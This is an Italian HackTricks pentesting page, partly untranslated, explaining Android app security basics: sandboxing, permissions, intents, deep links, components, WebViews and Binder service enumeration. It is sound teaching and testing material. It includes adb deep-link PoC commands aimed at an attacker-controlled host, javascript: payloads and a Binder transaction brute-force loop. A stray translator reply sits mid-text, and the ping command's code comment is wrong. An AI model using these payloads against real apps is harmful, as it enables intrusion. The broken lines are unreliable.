Fondamenti delle Applicazioni Android
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Android Security Model
Ci sono due livelli:
- Il OS, che mantiene le applicazioni installate isolate l’una dall’altra.
- L’applicazione stessa, che permette agli sviluppatori di esporre certe funzionalità e configura le capacità dell’applicazione.
UID Separation
A ogni applicazione viene assegnato un User ID specifico. Questo avviene durante l’installazione dell’app in modo che l’app possa interagire solo con file di proprietà del suo User ID o file condivisi. Di conseguenza, solo l’app stessa, alcuni componenti del OS e l’utente root possono accedere ai dati dell’app.
UID Sharing
Due applicazioni possono essere configurate per usare lo stesso UID. Questo può essere utile per condividere informazioni, ma se una di esse viene compromessa i dati di entrambe saranno compromessi. Per questo comportamento è sconsigliato.
Per condividere lo stesso UID, le applicazioni devono definire lo stesso valore android:sharedUserId nei loro manifest.
Sandboxing
Il Android Application Sandbox permette di eseguire ogni applicazione come processo separato sotto un User ID separato. Ogni processo ha la sua virtual machine, quindi il codice di un’app viene eseguito in isolamento dalle altre app.
A partire da Android 5.0(L) SELinux è applicato. Fondamentalmente, SELinux ha negato tutte le interazioni dei processi e poi ha creato politiche per permmettere solo le interazioni attese tra di essi.
Permissions
Quando installi un’app e questa richiede permissions, l’app sta richiedendo i permessi configurati negli elementi uses-permission nel file AndroidManifest.xml. L’elemento uses-permission indica il nome del permesso richiesto all’interno dell’attribute name. Ha anche l’attributo maxSdkVersion che smette di richiedere il permesso su versioni superiori a quella specificata.
Nota che le applicazioni android non devono chiedere tutti i permessi all’inizio, possono anche richiederli dinamicamente, ma tutti i permessi devono essere dichiarati nel manifest.
Quando un’app espone funzionalità può limitare l’accesso solo alle app che possiedono un permesso specificato.
Un elemento permission ha tre attributi:
- Il name del permesso
- L’attributo permission-group, che permette di raggruppare permessi correlati.
- Il protection-level che indica come i permessi vengono concessi. Ci sono quattro tipi:
- Normal: Usato quando non ci sono minacce conosciute per l’app. L’utente non è richiesto di approvarlo.
- Dangerous: Indica che il permesso concede all’app richiedente un accesso elevato. Agli utenti viene richiesto di approvarli.
- Signature: Solo le app firmate dallo stesso certificato di quella che esporta il componente possono ricevere il permesso. Questo è il tipo di protezione più forte.
- SignatureOrSystem: Solo le app firmate dallo stesso certificato di quella che esporta il componente o le app in esecuzione con accesso di livello system possono ottenere i permessi
Pre-Installed Applications
Queste app si trovano generalmente nelle directory /system/app o /system/priv-app e alcune di esse sono ottimizzate (potresti non trovare nemmeno il file classes.dex). Queste applicazioni valgono la pena di essere controllate perché a volte sono in esecuzione con troppi permessi (ad esempio come root).
- Quelle fornite con la AOSP (Android OpenSource Project) ROM
- Aggiunte dal manufacturer del dispositivo
- Aggiunte dall’operatore del cell phone provider (se acquistato da loro)
Rooting
Per ottenere accesso root su un dispositivo android fisico generalmente è necessario sfruttare 1 o 2 vulnerabilità che tendono ad essere specifiche per il device e la versione.
Una volta che l’exploit ha funzionato, di solito il binario Linux su viene copiato in una posizione specificata nella variabile PATH dell’utente come /system/xbin.
Una volta che il binario su è configurato, un’altra app Android viene usata per interfacciarsi con il binario su e gestire le richieste di accesso root come Superuser e SuperSU (disponibili su Google Play store).
Caution
Nota che il processo di rooting è molto pericoloso e può danneggiare gravemente il dispositivo
ROMs
È possibile sostituire il OS installando un custom firmware. Facendo ciò è possibile estendere la vita utile di un dispositivo vecchio, bypassare restrizioni software o ottenere accesso al codice Android più recente.
OmniROM e LineageOS sono due dei firmware più popolari da usare.
Nota che non è sempre necessario effettuare il rooting del dispositivo per installare un custom firmware. Alcuni manufacturer permettono lo sblocco dei loro bootloader in modo ben documentato e sicuro.
Implications
Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere accesso come root. Se un’applicazione malevola lo ottiene, avrà accesso a quasi tutto e potrà danneggiare il telefono.
Android Application Fundamentals
- Il formato delle applicazioni Android è riferito come APK file format. È essenzialmente un file ZIP (rinominando l’estensione del file in .zip, il contenuto può essere estratto e visualizzato).
- Contenuto dell’APK (non esaustivo)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: contiene risorse precompilate, come XML binario.
- res/xml/files_paths.xml
- META-INF/
- Qui si trova il Certificate!
- classes.dex
- Contiene bytecode Dalvik, che rappresenta il codice Java (o Kotlin) compilato che l’applicazione esegue di default.
- lib/
- Ospita librerie native, separate per architettura CPU in sottodirectory.
armeabi: codice per processori basati su ARMarmeabi-v7a: codice per processori ARMv7 e superiorix86: codice per processori X86mips: codice per processori MIPS solamente- assets/
- Conserva file vari necessari all’app, potenzialmente inclusi ulteriori librerie native o file DEX, talvolta usati da autori di malware per nascondere codice aggiuntivo.
- res/
- Contiene risorse che non sono compilate in resources.arsc
Dalvik & Smali
Nello sviluppo Android si usa Java o Kotlin per creare le app. Invece di usare la JVM come nelle app desktop, Android compila questo codice in Dalvik Executable (DEX) bytecode. In passato la virtual machine Dalvik gestiva questo bytecode, ma ora, nelle versioni più recenti di Android, il lavoro è svolto da Android Runtime (ART).
Per il reverse engineering, Smali diventa cruciale. È la versione leggibile dall’uomo del bytecode DEX, funzionando come linguaggio assembly traducendo il codice sorgente in istruzioni di bytecode. Smali e baksmali si riferiscono agli strumenti di assembly e disassembly in questo contesto.
Intents
Gli Intent sono il principale mezzo con cui le app Android comunicano tra i loro componenti o con altre app. Questi oggetti messaggio possono anche trasportare dati tra app o componenti, in modo simile a come vengono usate le richieste GET/POST nelle comunicazioni HTTP.
Quindi un Intent è fondamentalmente un messaggio che viene passato tra componenti. Gli Intent possono essere diretti a componenti o app specifiche, o possono essere inviati senza un destinatario specifico.
Per semplificare, gli Intent possono essere usati per:
- Avviare un Activity, tipicamente aprendo un’interfaccia utente per un’app
- Come broadcast per informare il sistema e le app di cambiamenti
- Avviare, fermare e comunicare con un servizio in background
- Accedere ai dati tramite ContentProviders
- Come callback per gestire eventi
Se vulnerabili, gli Intent possono essere utilizzati per eseguire una varietà di attacchi.
Intent-Filter
Gli Intent Filters definiscono come un activity, service o Broadcast Receiver può interagire con diversi tipi di Intent. Essenzialmente, descrivono le capacità di questi componenti, come le azioni che possono eseguire o i tipi di broadcast che possono processare. Il luogo principale per dichiarare questi filtri è il file AndroidManifest.xml, anche se per i Broadcast Receivers è possibile codificarli direttamente.
Gli Intent Filters sono composti da categories, actions e data filters, con la possibilità di includere metadati aggiuntivi. Questa configurazione permette ai componenti di gestire specifici Intent che corrispondono ai criteri dichiarati.
Un aspetto critico dei componenti Android (activities/services/content providers/broadcast receivers) è la loro visibilità o stato public. Un componente è considerato pubblico e può interagire con altre app se è exported con valore true o se è dichiarato un Intent Filter per esso nel manifest. Tuttavia, c’è un modo per gli sviluppatori di mantenere esplicitamente questi componenti privati, assicurando che non interagiscano involontariamente con altre app. Questo si ottiene impostando l’attributo exported a false nelle loro definizioni del manifest.
Inoltre, gli sviluppatori hanno l’opzione di mettere ulteriore sicurezza sull’accesso a questi componenti richiedendo permessi specifici. L’attributo permission può essere impostato per far rispettare che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagirvi.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Intent impliciti
Gli Intent vengono creati programmaticamente utilizzando un costruttore Intent:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
La Action dell’intent dichiarato precedentemente è ACTION_SEND e la Extra è un Uri mailto (la Extra è l’informazione aggiuntiva che l’intent si aspetta).
Questo intent dovrebbe essere dichiarato all’interno del manifest come nell’esempio seguente:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Un intent-filter deve corrispondere a action, data e category per ricevere un messaggio.
Il processo di “Intent resolution” determina quale app dovrebbe ricevere ogni messaggio. Questo processo considera la priority attribute, che può essere impostata nella dichiarazione dell’intent-filter, e quella con la priorità più alta verrà selezionata. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono usare il valore SYSTEM_HIGH_PRIORITY. Se sorge un conflict, appare una finestra “choser” così che l’user possa decidere.
Explicit Intents
Un explicit intent specifica il nome della classe a cui è indirizzato:
Intent downloadIntent = new (this, DownloadService.class):
In altre applicazioni, per accedere all’intent dichiarato in precedenza puoi usare:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Pending Intents
These allow other applications to take actions on behalf of your application, using your app’s identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn’t Explicit (doesn’t declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn’t specified, the malicious app will be able to do any action on behalf the victim.
Broadcast Intents
Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it’s possible to specify the app that should receive the message using Intent.set Package.
Alternatively it’s also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.
There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.
It’s possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won’t even need to export a receiver component.
Sticky Broadcasts
This kind of Broadcasts can be accessed long after they were sent.
These were deprecated in API level 21 and it’s recommended to not use them.
They allow any application to sniff the data, but also to modify it.
If you find functions containing the word “sticky” like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.
Deep links / URL schemes
In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.
The scheme must be declarated in the AndroidManifest.xml file:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
Lo schema dall’esempio precedente è examplescheme:// (nota anche il category BROWSABLE)
Poi, nel campo data, puoi specificare l’host e il path:
<data android:scheme="examplescheme"
android:host="example"
/>
Per accedervi dal web è possibile impostare un link come:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
Per trovare il codice che verrà eseguito nell’App, vai all’activity chiamata dal deeplink e cerca la funzione onNewIntent.
Scopri come chiamare i deep links senza usare pagine HTML.
Test di sicurezza dei deep link & adb PoCs
- Individuazione del punto di ingresso: Activities esportate che dichiarano
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />sono raggiungibili da remoto tramite URI manipolati (custom schemes ohttp/httpsApp Links). Dai priorità ai path che contengono le parole chiave login/reset/payment/wallet/admin. - Euristiche per il bypass della validazione: controlli host deboli come
endsWith(),contains(), regex permissive, o substring allowlists possono solitamente essere bypassati con sottodomini controllati dall’attaccante, trucchi con prefisso/suffisso e double-encoding URL/UTF‑8. - WebView sinks: se l’handler inoltra l’URI in ingresso o i parametri di query a
WebView.loadUrl(...), puoi costringere l’app a visualizzare contenuto arbitrario controllato dall’attaccante. Se la validazione dello scheme è debole, prova payloadjavascript:così come URL esternihttps://. - adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Consigli operativi: catturare più varianti di payload (URL esterno vs
javascript:) e riprodurle rapidamente su un dispositivo/emulatore per distinguere problemi reali (open-redirect/auth-bypass/WebView URL injection) dal rumore dell’analisi statica. - Automazione: Deep-C automatizza il deeplink hunting decompilando l’APK (apktool + dex2jar + jadx), enumerando le exported + browsable activities, correlando convalide deboli e i flussi
WebView.loadUrl, ed emettendo PoC adb pronti all’esecuzione (opzionalmente eseguiti automaticamente con--exec).
AIDL - Android Interface Definition Language
La Android Interface Definition Language (AIDL) è progettata per facilitare la comunicazione tra client e service nelle applicazioni Android tramite la comunicazione interprocesso (IPC). Poiché l’accesso diretto alla memoria di un altro processo non è consentito su Android, AIDL semplifica il processo serializzando gli oggetti in un formato compreso dal sistema operativo, facilitando così la comunicazione tra processi differenti.
Concetti chiave
-
Bound Services: questi servizi utilizzano AIDL per IPC, consentendo ad activity o componenti di bindare a un service, effettuare richieste e ricevere risposte. Il metodo
onBindnella classe del service è critico per avviare l’interazione, rendendolo un’area vitale per la revisione della sicurezza alla ricerca di vulnerabilità. -
Messenger: operando come un bound service, Messenger facilita l’IPC con focus sull’elaborazione dei dati tramite il metodo
onBind. È essenziale ispezionare questo metodo attentamente per qualsiasi gestione dei dati non sicura o esecuzione di funzioni sensibili. -
Binder: Sebbene l’uso diretto della classe Binder sia meno comune a causa dell’astrazione fornita da AIDL, è utile capire che Binder agisce come un driver a livello kernel che facilita il trasferimento di dati tra gli spazi di memoria di processi diversi. Per approfondire, è disponibile una risorsa su https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Componenti
Questi includono: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity and other activities
Nelle app Android, activities sono come schermate, che mostrano diverse parti dell’interfaccia utente dell’app. Un’app può avere molte activities, ognuna delle quali presenta all’utente una schermata unica.
La launcher activity è il punto di accesso principale per un’app, avviata quando tocchi l’icona dell’app. È definita nel file manifest dell’app con specifici intent MAIN e LAUNCHER:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Non tutte le app hanno bisogno di una launcher activity, specialmente quelle senza interfaccia utente, come i servizi in background.
Le Activity possono essere rese disponibili ad altre app o processi marcandole come “exported” nel manifest. Questa impostazione permette ad altre app di avviare questa activity:
<service android:name=".ExampleExportedService" android:exported="true"/>
Tuttavia, accedere a un activity da un’altra app non è sempre un rischio per la sicurezza. La preoccupazione sorge se dati sensibili vengono condivisi in modo improprio, il che potrebbe portare a information leaks.
Il ciclo di vita di un’activity begins with the onCreate method, impostando l’UI e preparando l’activity per l’interazione con l’utente.
Sottoclasse di Application
Nello sviluppo Android, un’app ha la possibilità di creare una subclass della classe Application, anche se non è obbligatoria. Quando viene definita una tale sottoclasse, diventa la prima classe a essere istanziata all’interno dell’app. Il metodo attachBaseContext, se implementato in questa sottoclasse, viene eseguito prima del metodo onCreate. Questa configurazione permette un’inizializzazione precoce prima che il resto dell’applicazione inizi.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Services
Services sono processi in background in grado di eseguire attività senza un’interfaccia utente. Queste attività possono continuare a essere eseguite anche quando gli utenti passano ad applicazioni diverse, rendendo i services cruciali per le operazioni di lunga durata.
I Services sono versatili; possono essere avviati in vari modi, con Intents come metodo principale per lanciarli come punto d’ingresso di un’applicazione. Una volta che un service viene avviato usando il metodo startService, il suo metodo onStart entra in azione e continua a funzionare fino a quando non viene chiamato esplicitamente il metodo stopService. In alternativa, se il ruolo di un service dipende da una connessione attiva con un client, si usa il metodo bindService per vincolare il client al service, attivando il metodo onBind per il passaggio dei dati.
Un’applicazione tipica dei services include la riproduzione di musica in background o il recupero di dati di rete senza ostacolare l’interazione dell’utente con un’app. Inoltre, i services possono essere resi accessibili ad altri processi sullo stesso dispositivo tramite exporting. Questo non è il comportamento predefinito e richiede una configurazione esplicita nel file Android Manifest:
<service android:name=".ExampleExportedService" android:exported="true"/>
Ricevitori Broadcast
Broadcast receivers fungono da listener in un sistema di messaggistica, permettendo a più applicazioni di rispondere agli stessi messaggi provenienti dal sistema. Un’app può registrare un receiver in due modi principali: tramite il Manifest dell’app o dinamicamente nel codice dell’app tramite l’API registerReceiver. Nel Manifest, i broadcast sono filtrati con permessi, mentre i receiver registrati dinamicamente possono anche specificare permessi al momento della registrazione.
Intent filters sono cruciali in entrambi i metodi di registrazione, determinando quali broadcast attivano il receiver. Una volta inviato un broadcast corrispondente, viene invocato il metodo onReceive del receiver, permettendo all’app di reagire di conseguenza, ad esempio modificando il comportamento in risposta a un avviso di batteria scarica.
I broadcast possono essere asincroni, raggiungendo tutti i receiver senza ordine, o sincroni, dove i receiver ricevono il broadcast in base alle priorità impostate. Tuttavia, è importante notare il rischio per la sicurezza: qualsiasi app può assegnarsi una priorità per intercettare un broadcast.
Per capire la funzionalità di un receiver, cerca il metodo onReceive all’interno della sua classe. Il codice di questo metodo può manipolare l’Intent ricevuto, sottolineando la necessità di validare i dati nei receiver, specialmente negli Ordered Broadcasts, che possono modificare o scartare l’Intent.
Provider di contenuti
Content Providers sono essenziali per la condivisione di dati strutturati tra le app, sottolineando l’importanza di implementare permessi per garantire la sicurezza dei dati. Permettono alle app di accedere a dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come readPermission e writePermission, sono cruciali per controllare l’accesso. Inoltre, l’accesso temporaneo può essere concesso tramite le impostazioni grantUriPermission nel manifest dell’app, sfruttando attributi come path, pathPrefix e pathPattern per un controllo di accesso dettagliato.
La validazione degli input è fondamentale per prevenire vulnerabilità, come SQL injection. I Content Provider supportano operazioni di base: insert(), update(), delete() e query(), facilitando la manipolazione e la condivisione dei dati tra applicazioni.
Semantica e insidie dei permessi (Content Providers)
- Se un provider è exported, dovresti dichiarare esplicitamente sia readPermission sia writePermission. Quando writePermission è omesso il valore predefinito è null, il che significa che qualsiasi app può tentare insert/update/delete se tali metodi sono implementati dal provider.
- Non concatenare mai projection, selection, selectionArgs o sortOrder non affidabili in SQL grezzo. Usa whitelist e binding dei parametri (es., SQLiteQueryBuilder con una projection map) e template WHERE fissi.
- Preferisci android:exported=“false” a meno che il provider non debba essere pubblico. Per la condivisione selettiva, usa grantUriPermissions con path/pathPrefix/pathPattern.
FileProvider, un Content Provider specializzato, si concentra sulla condivisione sicura di file. È definito nel manifest dell’app con attributi specifici per controllare l’accesso alle cartelle, indicati da android:exported e android:resource che puntano a configurazioni di cartelle. Si raccomanda di prestare attenzione quando si condividono directory per evitare di esporre involontariamente dati sensibili.
Esempio di dichiarazione nel manifest per FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
Ecco un esempio di specifica delle cartelle condivise in filepaths.xml:
<paths>
<files-path path="images/" name="myimages" />
</paths>
Per ulteriori informazioni consulta:
WebViews
WebViews sono come mini web browser all’interno delle app Android, che caricano contenuti dal web o da file locali. Corrono rischi simili ai browser normali, ma ci sono modi per ridurre questi rischi tramite specifiche impostazioni.
Android offre due principali tipi di WebView:
- WebViewClient è ottimo per HTML di base ma non supporta la funzione JavaScript alert, influenzando il modo in cui gli attacchi XSS possono essere testati.
- WebChromeClient si comporta più come l’esperienza completa del browser Chrome.
Un punto chiave è che i browser WebView non condividono i cookies con il browser principale del dispositivo.
Per caricare contenuti sono disponibili metodi come loadUrl, loadData, e loadDataWithBaseURL. È cruciale assicurarsi che queste URL o file siano sicuri da usare. Le impostazioni di sicurezza possono essere gestite tramite la classe WebSettings. Per esempio, disabilitare JavaScript con setJavaScriptEnabled(false) può prevenire attacchi XSS.
Il “Bridge” JavaScript permette agli oggetti Java di interagire con JavaScript, richiedendo che i metodi siano marcati con @JavascriptInterface per la sicurezza a partire da Android 4.2.
Consentire l’accesso ai contenuti (setAllowContentAccess(true)) permette alle WebViews di raggiungere i Content Providers, il che potrebbe rappresentare un rischio a meno che le URL dei contenuti non siano verificate come sicure.
Per controllare l’accesso ai file:
- Disabilitare l’accesso ai file (
setAllowFileAccess(false)) limita l’accesso al filesystem, con eccezioni per alcuni asset, assicurando che vengano usati solo per contenuti non sensibili.
Altri componenti dell’app e Mobile Device Management
Digital Signing of Applications
- La firma digitale è obbligatoria per le app Android, garantendo che siano autenticamente create prima dell’installazione. Questo processo utilizza un certificato per l’identificazione dell’app e deve essere verificato dal package manager del dispositivo al momento dell’installazione. Le app possono essere self-signed o certificate da una CA esterna, proteggendo contro accessi non autorizzati e assicurando che l’app non sia stata manomessa durante la distribuzione al dispositivo.
App Verification for Enhanced Security
- A partire da Android 4.2, una funzionalità chiamata Verify Apps permette agli utenti di far controllare le app per sicurezza prima dell’installazione. Questo processo di verifica può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l’installazione di quelle particolarmente malevole, migliorando la sicurezza dell’utente.
Mobile Device Management (MDM)
- Le soluzioni MDM forniscono sovrintendenza e sicurezza per i dispositivi mobili tramite il Device Administration API. Richiedono l’installazione di un’app Android per gestire e proteggere efficacemente i dispositivi mobili. Le funzioni chiave includono l’applicazione di policy sulle password, l’imposizione della cifratura dello storage, e la possibilità di remote data wipe, assicurando un controllo e una sicurezza completi sui dispositivi mobili.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Enumerazione e sfruttamento dei servizi AIDL / Binder
Android Binder IPC espone molti servizi di sistema e forniti dal vendor. Questi servizi diventano una superficie d’attacco quando vengono esportati senza un opportuno controllo dei permessi (lo strato AIDL di per sé non esegue alcun controllo degli accessi).
1. Scoprire i servizi in esecuzione
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
Non ho ricevuto il contenuto da tradurre. Per favore incolla il testo di src/mobile-pentesting/android-app-pentesting/android-applications-basics.md o specifica il contenuto da tradurre. Vuoi che l’output sia un elenco numerato (1., 2., …)?
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
- L’index (prima colonna) viene assegnato a runtime – non fare affidamento su di esso tra i riavvii.
- Il Binder name (es.
mtkconnmetrics) è ciò che verrà passato aservice call. - Il valore all’interno delle parentesi è l’interfaccia AIDL completamente qualificata da cui lo stub è stato generato.
2. Ottenere il descrittore dell’interfaccia (PING)
Ogni Binder stub implementa automaticamente il codice di transazione 0x5f4e5446 (1598968902 decimale, ASCII “_NTF”).
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Una risposta valida restituisce il nome dell’interfaccia codificato come stringa UTF-16 all’interno di un Parcel.
3. Chiamata di una transazione
Sintassi: service call <name> <code> [type value ...]
Specificatori di argomenti comuni:
i32 <int>– valore intero a 32 bit con segnoi64 <long>– valore intero a 64 bit con segnos16 <string>– stringa UTF-16 (Android 13+ usautf16)
Esempio – avvia il monitoraggio della rete con uid 1 su un dispositivo MediaTek:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing metodi sconosciuti
Quando i file header non sono disponibili puoi iterare il codice finché l’errore non cambia da:
Result: Parcel(00000000 00000000) # "Not a data message"
a una normale risposta Parcel o SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
5. Mappare codici ↔ metodi tramite onTransact()
Decompila il jar/odex che implementa l’interfaccia (per gli AOSP stubs controlla /system/framework; gli OEM spesso usano /system_ext o /vendor).
Cerca Stub.onTransact() – contiene un enorme switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Ora il prototipo e i tipi di parametro sono chiarissimi.
6. Individuare controlli di autorizzazione mancanti
L’implementazione (spesso una classe interna Impl) è responsabile dell’autorizzazione:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
L’assenza di tale logica o di una whitelist di UIDs privilegiati (es. uid == 1000 /*system*/) è un indicatore di vulnerabilità.
Caso di studio – MediaTek startMonitorProcessWithUid() (transaction 8) esegue completamente un messaggio Netlink senza alcun controllo dei permessi, permettendo a un’app non privilegiata di interagire con il modulo Netfilter del kernel e riempire il log di sistema.
7. Automatizzare la valutazione
Strumenti / script che velocizzano la ricognizione di Binder:
- binderfs – espone
/dev/binderfscon nodi per servizio binder-scanner.py– percorre la tabella Binder e stampa le ACL- Scorciatoia Frida:
Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
References
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Deep-C – Android deep link exploitation framework
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


